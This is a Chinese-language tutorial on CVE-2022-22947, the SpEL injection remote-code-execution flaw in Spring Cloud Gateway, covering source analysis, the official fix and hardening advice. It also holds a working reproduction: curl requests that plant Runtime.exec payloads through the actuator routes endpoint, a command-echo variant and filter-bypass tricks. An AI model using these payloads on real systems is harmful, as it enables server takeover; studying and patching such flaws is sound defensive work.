Spring Cloud Gateway SpEL注入漏洞CVE-2022-22947原理与实战复现
1. 项目概述最近在整理内部安全审计的案例库翻到了去年那个闹得沸沸扬扬的Spring Cloud Gateway远程代码执行漏洞也就是CVE-2022-22947。这个洞在当时影响面可不小很多基于微服务架构、用了Spring Cloud Gateway做API网关的项目都中了招。我印象很深当时应急响应群里消息刷得飞快有连夜打补丁的有紧急下线的一片兵荒马乱。现在热度虽然过去了但作为一次经典的SpEL表达式注入导致RCE的案例它的原理和利用链非常值得深入剖析对于理解Spring生态的安全风险、提升代码审计能力都很有帮助。简单来说这个漏洞的核心在于Spring Cloud Gateway对外提供的一个管理端点Actuator API攻击者能够通过构造特定的恶意请求向网关注入并执行SpELSpring Expression Language表达式。由于SpEL功能强大在特定上下文中拥有极高的权限这就直接打开了远程命令执行的大门。你可能会想一个管理接口怎么会出这么大问题这恰恰是很多开发容易忽略的地方那些为了方便运维而开放的“后门”如果没有做好严格的访问控制和输入过滤往往就是最脆弱的突破口。这篇文章我就带大家从头到尾拆解一遍CVE-2022-22947。我们不止是复现攻击过程更重要的是深入Spring Cloud Gateway的源码看看漏洞到底是怎么产生的问题代码在哪修复补丁又是如何堵上这个窟窿的。无论你是安全研究员想深入理解漏洞原理还是开发工程师想避免在自己的代码里埋下类似的雷抑或是运维同学想更有效地排查和防御此类风险相信这篇结合了源码分析和实战复现的详细解读都能给你带来收获。我会尽量用通俗的语言把技术细节讲清楚并提供可以直接上手操作的环境搭建和漏洞利用步骤。2. 漏洞背景与影响范围解析2.1 Spring Cloud Gateway 与 Actuator 端点的作用要理解这个漏洞首先得知道Spring Cloud Gateway是干什么的。在微服务架构里服务越来越多直接让客户端挨个去调用这些服务既不安全也难管理。于是API网关就出现了它像是一个统一的“前台”或“路由器”所有外部的请求先打到网关上由网关负责路由转发、认证鉴权、限流熔断等一系列操作。Spring Cloud Gateway就是Spring官方为Cloud Native微服务架构提供的一个基于响应式编程的API网关实现。为了便于管理和监控网关的运行状态Spring Boot Actuator模块被集成进来。Actuator提供了一系列生产就绪的特性主要是通过HTTP端点endpoints来暴露应用的健康状况、指标、配置等信息。比如/actuator/health用来查看健康状态/actuator/metrics用来查看指标数据。而对于Spring Cloud Gateway它额外提供了几个专用的Actuator端点其中最关键的就是用于动态管理路由的端点。动态路由管理意味着什么意味着运维人员或管理系统可以通过HTTP API在网关运行时动态地添加、删除或刷新路由规则而无需重启网关服务。这是一个非常强大的运维功能。相关的Actuator端点通常是POST /actuator/gateway/routes/{id}: 创建或更新一个ID为{id}的新路由。GET /actuator/gateway/routes: 获取所有路由定义。DELETE /actuator/gateway/routes/{id}: 删除一个路由。POST /actuator/gateway/refresh: 刷新路由使新配置生效。漏洞就出在创建或更新路由POST /actuator/gateway/routes/{id}这个环节。2.2 漏洞核心SpEL表达式注入SpEL全称Spring Expression Language是Spring框架内嵌的一种强大的表达式语言。它允许在运行时查询和操作对象图功能类似OGNL或MVEL。在Spring的很多地方你都能看到它的身影比如Value注解、Spring Security的权限表达式、XML配置里的动态值等。它的能力范围很广从简单的属性访问、方法调用到复杂的列表投影、集合选择甚至支持类型转换和运算符。SpEL的强大也带来了安全风险。如果用户能够控制SpEL表达式的输入并且这个表达式在一个拥有足够权限的上下文中被解析执行那么攻击者就可以注入恶意代码实现任意方法调用最终可能导致远程代码执行RCE。CVE-2022-22947正是这样一个典型的案例攻击者通过Actuator API提交的路由配置信息中包含了恶意的SpEL表达式而Gateway在处理这些配置时未经过滤就直接进行了解析执行。2.3 影响版本与严重性根据官方公告受影响的Spring Cloud Gateway版本为3.1.0 至 3.1.13.0.0 至 3.0.7更旧的、不受支持的版本也可能受影响简单来说如果你使用的是Spring Cloud Gateway 3.1.x 3.1.1 或 3.0.x 3.0.7并且Actuator端点特别是/actuator/gateway/routes/**暴露在了公网或者不可信的网络环境中那么你的系统就存在被攻击的风险。这个漏洞的CVSS评分达到了9.8高危属于严重级别。攻击者无需任何前置认证如果Actuator端点未做安全加固就可以直接利用该漏洞在网关服务器上执行任意命令后果可能是服务器被完全控制内部网络被渗透数据被窃取或破坏。注意即使Actuator端点不直接对外网开放如果内部网络存在其他安全缺陷如某个内部系统被攻破攻击者也可能通过内网横向移动来利用此漏洞。因此不能仅依赖网络隔离。3. 漏洞原理深度源码分析光知道漏洞现象不够我们得钻进代码里看看问题到底出在哪。我拉取了存在漏洞版本的Spring Cloud Gateway源码这里以3.1.1版本为例带大家走读关键代码。3.1 请求入口与路由定义解析攻击的起点是POST /actuator/gateway/routes/{id}。在Spring Boot中Actuator端点的处理由Endpoint注解的类负责。对于Gateway相关的处理类在spring-cloud-gateway-server模块中。首先找到GatewayControllerEndpoint或GatewayWebEndpoint不同版本类名可能略有差异。这个类上标注了Endpoint(id “gateway”)它里面的方法就对应着那些Actuator端点。Endpoint(id “gateway”) public class GatewayControllerEndpoint { // ... 其他代码 PostMapping(“/routes/{id}”) public MonoVoid save(PathVariable String id, RequestBody RouteDefinition routeDefinition) { // 这里接收传入的routeDefinition return this.routeDefinitionWriter.save(Mono.just(routeDefinition)) .doOnSuccess((v) - { this.publisher.publishEvent(new RefreshRoutesEvent(this)); }); } }关键参数是RequestBody RouteDefinition routeDefinition。我们看看RouteDefinition这个类长什么样public class RouteDefinition { private String id; private ListFilterDefinition filters new ArrayList(); private ListPredicateDefinition predicates new ArrayList(); private URI uri; private int order 0; // getters and setters ... }这里出现了FilterDefinition和PredicateDefinition。在Spring Cloud Gateway中路由Route由ID、目标URI、一组断言Predicate和一组过滤器Filter组成。断言决定一个请求是否匹配该路由过滤器则用于处理匹配的请求如修改请求头、增加参数等。问题就出在FilterDefinition和PredicateDefinition的解析上。它们的结构很简单public class FilterDefinition { private String name; // 过滤器工厂的名称 private MapString, String args new LinkedHashMap(); // 传递给过滤器的参数 // ... } public class PredicateDefinition { private String name; // 断言工厂的名称 private MapString, String args new LinkedHashMap(); // 传递给断言的参数 // ... }当Gateway接收到这样一个路由定义后它需要将这些配置的“定义”Definition转换成运行时可以使用的“对象”。这个转换过程发生在RouteDefinitionRouteLocator类的convertToRoute方法中。3.2 罪恶之源ShortcutConfigurable与SpEL解析在convertToRoute方法里会遍历RouteDefinition中的FilterDefinition列表为每个定义找到对应的GatewayFilterFactory并调用其apply方法创建出具体的GatewayFilter对象。private ListGatewayFilter getFilters(RouteDefinition routeDefinition) { ListGatewayFilter filters new ArrayList(); for (FilterDefinition filterDefinition : routeDefinition.getFilters()) { GatewayFilterFactory? factory this.gatewayFilterFactories .get(filterDefinition.getName()); // ... 参数处理 GatewayFilter filter factory.apply(c); filters.add(filter); } return filters; }apply方法内部会进行参数绑定。这里就涉及到了ShortcutConfigurable接口。很多GatewayFilterFactory和PredicateFactory都实现了这个接口它定义了一种快捷的配置方式允许通过一个Map来提供配置参数并且支持使用SpEL表达式作为参数的值。关键的解析逻辑在ConfigurationService内部类ConfigurableBuilder的normalizeProperties方法中。简化后的逻辑如下private MapString, Object normalizeProperties() { MapString, Object properties new HashMap(); for (Map.EntryString, String entry : args.entrySet()) { String name entry.getKey(); String value entry.getValue(); // 判断value是否是SpEL表达式通常以#开头如#{...} if (value ! null value.startsWith(“#”) this.parser ! null) { // 这里是危险操作 Object parsed this.parser.parseExpression(value, ParserContext.TEMPLATE_EXPRESSION).getValue(); properties.put(name, parsed); } else { properties.put(name, value); } } return properties; }看到那个this.parser.parseExpression(...).getValue()了吗this.parser就是一个SpelExpressionParser实例。这段代码的意思是如果参数值以#开头SpEL表达式的常见格式那么就把它当作SpEL表达式进行解析parseExpression并立即求值getValue。这就是漏洞最核心的地方用户可控的输入args中的value未经任何过滤或沙箱限制直接被传递给了SpelExpressionParser进行解析和求值。3.3 SpEL表达式如何导致RCESpEL表达式在解析时其求值上下文EvaluationContext通常拥有很大的权限可以访问Spring应用上下文中的Bean调用类的方法。攻击者可以构造恶意的SpEL表达式来达到执行任意代码的目的。一个经典的利用链是利用SpEL调用Runtime类来执行系统命令#{T(java.lang.Runtime).getRuntime().exec(‘calc.exe’)}T(java.lang.Runtime) 告诉SpEL去获取java.lang.Runtime这个类的引用。.getRuntime() 调用静态方法getRuntime()获取Runtime单例对象。.exec(‘calc.exe’) 调用exec方法执行系统命令calc.exe在Windows上弹出计算器。在真实的攻击中攻击者可能会执行更危险的命令如反弹Shell、下载木马、挖矿等。那么这个恶意表达式是如何通过API传入的呢我们来看攻击者构造的HTTP请求体JSON格式{ “id”: “hackroute”, “filters”: [{ “name”: “AddResponseHeader”, “args”: { “name”: “Result”, “value”: “#{T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/pwned’)}” } }], “uri”: “http://example.com”, “predicates”: [{“name”: “Path”, “args”: {“_genkey_0”: “/hack”}}] }这个请求创建了一个ID为hackroute的新路由。它使用了一个内置的过滤器工厂AddResponseHeader这个过滤器的作用是在响应头中添加一个键值对。攻击者将恶意的SpEL表达式放在了过滤器的参数value中。当Gateway处理这个路由定义时走到我们上面分析的normalizeProperties方法发现value的值是#{T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/pwned’)}它以#开头于是触发SpEL解析。SpelExpressionParser忠实地执行了这段表达式最终在服务器上创建了文件/tmp/pwned远程代码执行就此达成。实操心得在代码审计时要特别关注那些将用户输入直接传递给解释器、脚本引擎或表达式解析器的代码路径。常见的危险点除了SpEL还有OGNL、MVEL、JEXL、JavaScript引擎如Nashorn等。任何“字符串当作代码执行”的行为都必须经过严格的安全审查。3.4 官方修复方案分析Spring官方在后续的版本中修复了此漏洞。修复的核心思想是在解析SpEL表达式时使用一个受到严格限制的、安全的EvaluationContext。查看修复后的代码例如3.1.2版本在ConfigurationService.ConfigurableBuilder中解析SpEL的部分发生了变化if (value ! null value.startsWith(“#”) this.parser ! null) { // 修复后使用一个简单的、不包含Bean引用的上下文 StandardEvaluationContext context new StandardEvaluationContext(); // 关键设置一个非常严格的TypeLocator限制可访问的类 context.setTypeLocator((typeName) - { // 只允许加载java.lang包下的类其他类会抛出异常 if (typeName.startsWith(“java.lang.”)) { return ClassUtils.forName(typeName, this.beanClassLoader); } throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName); }); // 禁止方法调用和构造器调用 context.setBeanResolver(null); context.addPropertyAccessor(new MapAccessor()); // 使用这个安全的上下文进行解析 Object parsed this.parser.parseExpression(value, ParserContext.TEMPLATE_EXPRESSION).getValue(context); properties.put(name, parsed); }修复方案创建了一个StandardEvaluationContext并通过setTypeLocator方法限制了表达式只能访问java.lang包下的类如String,Integer等其他包如java.lang.Runtime的类将无法被加载。同时通过setBeanResolver(null)禁用了对Spring Bean的解析。这样一来即使攻击者注入了SpEL表达式也只能进行非常有限的操作比如字符串拼接、数学运算而无法调用危险的类和方法从根本上杜绝了RCE的可能。这个修复方案是一种“沙箱”思路非常经典。它没有粗暴地禁用SpEL功能因为某些场景下确实需要动态表达式而是通过限制表达式的执行环境来保证安全。4. 漏洞环境搭建与复现实操理解了原理我们动手搭建一个漏洞环境来实际感受一下。为了安全起见请在虚拟机或隔离的测试环境中进行。4.1 环境准备我们使用Docker来快速搭建一个存在漏洞的Spring Cloud Gateway应用这是最方便的方法。确保你的机器上安装了Docker和Docker Compose。创建一个工作目录例如cve-2022-22947-lab。在该目录下创建docker-compose.yml文件内容如下version: ‘3.8’ services: vulnerable-gateway: image: vulhub/spring-cloud-gateway:3.1.0 ports: - “8080:8080” environment: - “SPRING_CLOUD_GATEWAY_METRICS_ENABLEDfalse”这里我们使用了Vulhub项目提供的漏洞环境镜像它已经集成了一个存在漏洞的Spring Cloud Gateway 3.1.0版本并默认开启了Actuator端点。在终端中进入该目录运行以下命令启动环境docker-compose up -d等待片刻使用docker-compose logs -f查看日志当看到类似“Netty started on port 8080”的提示时说明服务启动成功。4.2 验证环境打开浏览器或使用curl访问http://你的服务器IP:8080/actuator/gateway/routes。如果返回一个JSON可能是空数组[]说明Actuator端点已暴露环境准备就绪。curl http://localhost:8080/actuator/gateway/routes4.3 漏洞利用步骤我们将构造一个恶意请求添加一个包含SpEL表达式注入的路由触发命令执行。这里我们以在目标服务器上创建一个文件作为证明。步骤一构造恶意路由创建请求我们使用curl命令来发送POST请求。请求体就是前面提到的那个恶意JSON。curl -X POST http://localhost:8080/actuator/gateway/routes/hack-route \ -H “Content-Type: application/json” \ -d ‘{ “id”: “hack-route”, “filters”: [{ “name”: “AddResponseHeader”, “args”: { “name”: “Hacked”, “value”: “#{T(java.lang.Runtime).getRuntime().exec(‘touch /tmp/pwned_by_cve_2022_22947’)}” } }], “uri”: “http://httpbin.org:80”, “predicates”: [{“name”: “Path”, “args”: {“_genkey_0”: “/hack”}}] }’命令解释-X POST: 指定HTTP方法为POST。http://localhost:8080/actuator/gateway/routes/hack-route: 这是创建路由的端点hack-route是我们指定的路由ID。-H “Content-Type: application/json”: 设置请求头告诉服务器我们发送的是JSON数据。-d ‘…’: 指定请求体数据即我们构造的恶意路由定义。这个请求会创建一个ID为hack-route的新路由。它匹配路径为/hack的请求并将其转发到http://httpbin.org:80。关键在于它配置了一个AddResponseHeader过滤器该过滤器的value参数值是我们注入的SpEL表达式目的是执行系统命令touch /tmp/pwned_by_cve_2022_22947。发送请求后如果返回HTTP状态码201 Created或者200 OK取决于版本说明路由创建成功。步骤二刷新路由使新配置生效仅仅创建路由定义还不够需要触发Gateway刷新路由加载我们刚创建的恶意路由。curl -X POST http://localhost:8080/actuator/gateway/refresh发送这个POST请求后Gateway会重新加载所有路由定义。在加载过程中就会解析并执行我们注入在过滤器参数中的SpEL表达式。步骤三触发恶意路由并验证结果现在我们访问一下这个恶意路由以触发过滤器逻辑虽然命令在刷新时已执行但访问路由可以确认其存在。curl http://localhost:8080/hack你可能会收到来自httpbin.org的响应这没关系。关键是要验证命令是否执行。步骤四进入容器验证命令执行结果我们需要进入Docker容器内部查看/tmp目录下是否成功创建了文件。# 首先查看容器ID或名称 docker-compose ps # 假设容器名称为 cve-2022-22947-lab_vulnerable-gateway_1 docker exec -it cve-2022-22947-lab_vulnerable-gateway_1 /bin/sh进入容器后执行ls -la /tmp/如果你看到文件pwned_by_cve_2022_22947恭喜你漏洞复现成功这证明了SpEL表达式被成功解析并执行了touch命令。步骤五清理现场重要实验完成后务必删除我们创建的恶意路由并停止环境。# 删除恶意路由 curl -X DELETE http://localhost:8080/actuator/gateway/routes/hack-route # 再次刷新路由 curl -X POST http://localhost:8080/actuator/gateway/refresh # 停止并移除Docker环境 docker-compose down4.4 利用技巧与变种上面的利用方式是最直接的。在实际渗透测试中攻击者可能会尝试更隐蔽或功能更强的利用方式命令回显上面的利用是“盲打”我们不知道命令执行结果。可以通过SpEL表达式将命令执行结果输出到HTTP响应中。例如利用java.util.Scanner类读取命令执行后的输入流value: “#{new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(‘id’).getInputStream()).useDelimiter(‘\\\\A’).next()}”这个表达式会执行id命令并将输出结果作为过滤器的值从而在HTTP响应头中看到回显。使用其他过滤器工厂并非只有AddResponseHeader过滤器可用。任何实现了ShortcutConfigurable接口、并且其参数会经过SpEL解析的过滤器或断言工厂都可能成为利用点。例如RewritePath,SetStatus,SetRequestHeader等。在实战中可以多尝试几个。绕过可能的WAF或过滤如果存在简单的关键词过滤如Runtime,exec可以通过SpEL的字符串拼接、字符编码等方式进行绕过。字符串拼接T(java.lang.Ru””ntime).getRuntime().exec(...)使用字符数组T(java.lang.Runtime).getRuntime().exec(new String[]{‘/bin/bash’, ‘-c’, ‘whoami’})注意事项在真实授权测试中执行系统命令需极其谨慎避免对业务造成影响。最好使用无害的命令进行验证如touch创建文件、echo输出文本等。反弹Shell等操作风险极高务必在完全隔离的环境中进行。5. 漏洞修复与安全加固建议复现漏洞是为了更好地防御它。对于受到CVE-2022-22947影响的项目必须立即采取行动。5.1 官方补丁升级这是最根本、最推荐的修复方式。将Spring Cloud Gateway升级到安全版本对于 3.1.x 分支升级到 3.1.2 或更高版本。对于 3.0.x 分支升级到 3.0.8 或更高版本。对于更早的、已停止维护的版本如Greenwich, Finchley系列应尽快规划升级到受支持的主线版本。升级通常只需要修改项目pom.xml或build.gradle中的依赖版本号然后重新构建部署。务必在测试环境充分验证后再上线。5.2 临时缓解措施如果因为某些原因无法立即升级可以考虑以下临时加固方案禁用暴露的Actuator端点最有效如果生产环境不需要通过HTTP远程管理路由强烈建议禁用相关的Actuator端点。在application.yml或application.properties中配置management: endpoints: web: exposure: include: “health,info” # 只暴露健康检查和基本信息端点 # 或者直接禁用所有web端点 # exposure.include: “*” # 危险不要这样配置 # 也可以直接禁用gateway端点 endpoint: gateway: enabled: false将management.endpoints.web.exposure.include设置为仅包含必要的端点如health,info,metrics绝对不要使用*。直接设置management.endpoint.gateway.enabledfalse可以彻底关闭Gateway的Actuator端点。严格限制Actuator端点的网络访问通过防火墙、安全组或Web服务器如Nginx配置只允许受信任的IP地址如运维跳板机、监控系统IP访问Actuator端点/actuator/**。切勿将Actuator端点暴露在公网。启用Spring Security进行认证授权如果确实需要远程访问管理端点必须为其配置强认证和细粒度的授权。引入Spring Security依赖。配置HTTP Basic认证或更安全的OAuth2/JWT。为Actuator端点配置特定的角色权限例如只允许ADMIN角色的用户访问/actuator/gateway/**。Configuration public class SecurityConfig extends WebSecurityConfigurerAdapter { Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .antMatchers(“/actuator/health”).permitAll() // 健康检查可公开 .antMatchers(“/actuator/gateway/**”).hasRole(“ADMIN”) // 网关端点需要ADMIN角色 .antMatchers(“/actuator/**”).authenticated() // 其他端点需要登录 .anyRequest().permitAll() // 业务接口按需配置 .and() .httpBasic(); // 使用HTTP Basic认证 } }5.3 长期安全开发规范除了修复这个特定漏洞团队应建立更长期的安全编码和配置规范最小化暴露原则生产环境中任何管理、调试接口的暴露范围都应遵循最小化原则。Actuator端点、Swagger UI、Druid监控等默认情况下都应关闭或严格限制访问。输入验证与过滤对于任何用户可控的输入在进入核心业务逻辑尤其是传递给解释器、执行引擎、数据库查询、系统命令之前必须进行严格的验证、过滤或转义。采用白名单机制比黑名单更可靠。依赖项安全管理定期使用工具如OWASP Dependency-Check, GitHub Dependabot, Snyk扫描项目依赖及时更新存在已知漏洞的第三方库。Spring生态的漏洞信息可以关注Spring官方安全公告。安全配置审查将安全配置作为代码审查的一部分。重点关注是否使用了默认密码、是否开启了调试模式、敏感信息是否硬编码、权限配置是否过宽等。定期安全审计与渗透测试对关键系统尤其是对外暴露的API网关、入口服务应定期进行代码审计和渗透测试主动发现潜在的安全风险。6. 拓展思考类似的漏洞模式与防御CVE-2022-22947并非孤例它是一种非常典型的“表达式注入”漏洞模式。理解这种模式有助于我们在其他场景下识别风险。6.1 其他常见的表达式注入场景Spring MVC的Value注解如果Value注解的值来自用户输入如请求参数且注解中使用了SpEL如Value(“#{${user.input}}”)也可能导致注入。应避免将用户输入直接拼接到Value的SpEL表达式中。Spring Security的权限表达式如PreAuthorize(“hasRole(‘${user.role}’)”)如果user.role来自不可信源也可能存在问题。不过Spring Security的表达式上下文通常限制较多。模板引擎Thymeleaf, FreeMarker这些模板引擎本身也可能包含表达式功能。如果用户输入被直接当作模板片段解析可能导致服务器端模板注入SSTI如著名的Thymeleaf SSTI漏洞。规则引擎与脚本引擎在业务中集成Drools规则引擎、Groovy、JavaScript等动态脚本功能时如果脚本内容来自用户且执行环境权限过高风险极大。6.2 通用的防御策略面对这类“将字符串当作代码执行”的漏洞防御思路是相通的沙箱Sandboxing这是最理想的方案。为表达式/脚本的执行创建一个隔离的、权限受限的环境。就像Spring官方修复CVE-2022-22947所做的那样限制可访问的类、禁止危险的方法调用、移除不必要的上下文对象。Java中可以使用AccessController、SecurityManager注意已废弃或第三方沙箱库。白名单校验如果表达式的内容是有限的、可枚举的可以采用白名单机制。只允许执行预定义好的、安全的表达式。例如如果参数只允许是数字或几个固定的字符串那么在解析前就先进行校验。避免动态解析从根本上思考这个功能是否真的需要动态表达式能否用更安全的方式实现比如预定义几套配置模板让用户选择而不是自由输入表达式。代码审查与自动化扫描在代码审查中将“表达式解析”作为高风险点进行重点检查。同时可以引入静态应用安全测试SAST工具这类工具通常能识别出常见的注入模式。CVE-2022-22947给我们上了一堂生动的安全课功能强大的特性往往伴随着同等级别的风险。作为开发者在享受框架带来的便利时必须对其潜在的安全隐患保持警惕遵循安全最佳实践来设计和实现系统。而作为安全人员则需要深入理解漏洞背后的根本原因才能举一反三更好地守护系统安全。